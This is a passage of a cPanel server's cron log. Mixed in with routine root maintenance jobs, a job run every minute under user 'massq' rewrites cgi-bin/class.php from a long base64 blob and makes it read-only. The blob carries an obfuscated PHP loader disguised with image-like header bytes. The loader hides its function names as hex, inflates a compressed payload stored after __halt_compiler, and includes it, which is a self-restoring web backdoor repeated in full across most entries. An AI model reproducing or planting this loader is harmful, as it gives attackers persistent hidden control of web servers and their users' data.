wb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:57:01 server CROND[15392]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:57:01 server CROND[15393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:57:01 server CROND[15394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:57:01 server CROND[15395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:58:01 server CROND[15765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:58:01 server CROND[15766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:58:01 server CROND[15767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:59:01 server CROND[16154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:59:01 server CROND[16155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:59:01 server CROND[16156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:00:01 server CROND[16548]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:00:01 server CROND[16551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:00:01 server CROND[16554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:00:01 server CROND[16555]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 06:00:01 server CROND[16556]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 06:00:01 server CROND[16552]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:00:01 server CROND[16560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:00:01 server CROND[16553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:00:01 server CROND[16561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:00:01 server CROND[16559]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:00:01 server CROND[16557]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  2 06:01:01 server CROND[17446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:01:01 server CROND[17447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:01:01 server CROND[17448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:01:01 server CROND[17449]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 06:01:01 server run-parts(/etc/cron.hourly)[17449]: starting 0anacron
Sep  2 06:01:01 server run-parts(/etc/cron.hourly)[17467]: finished 0anacron
Sep  2 06:02:01 server CROND[17839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:02:01 server CROND[17840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:02:01 server CROND[17841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:03:01 server CROND[18322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:03:01 server CROND[18323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:03:01 server CROND[18324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:04:01 server CROND[18702]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:04:01 server CROND[18701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:04:01 server CROND[18703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:05:01 server CROND[19089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:05:01 server CROND[19092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:05:01 server CROND[19096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:05:01 server CROND[19095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:05:01 server CROND[19091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:05:01 server CROND[19097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:05:01 server CROND[19094]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 06:05:01 server CROND[19093]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:06:01 server CROND[19975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:06:01 server CROND[19976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:06:01 server CROND[19978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:07:01 server CROND[20343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:07:01 server CROND[20344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:07:01 server CROND[20345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:08:01 server CROND[20815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:08:01 server CROND[20816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:08:01 server CROND[20818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBU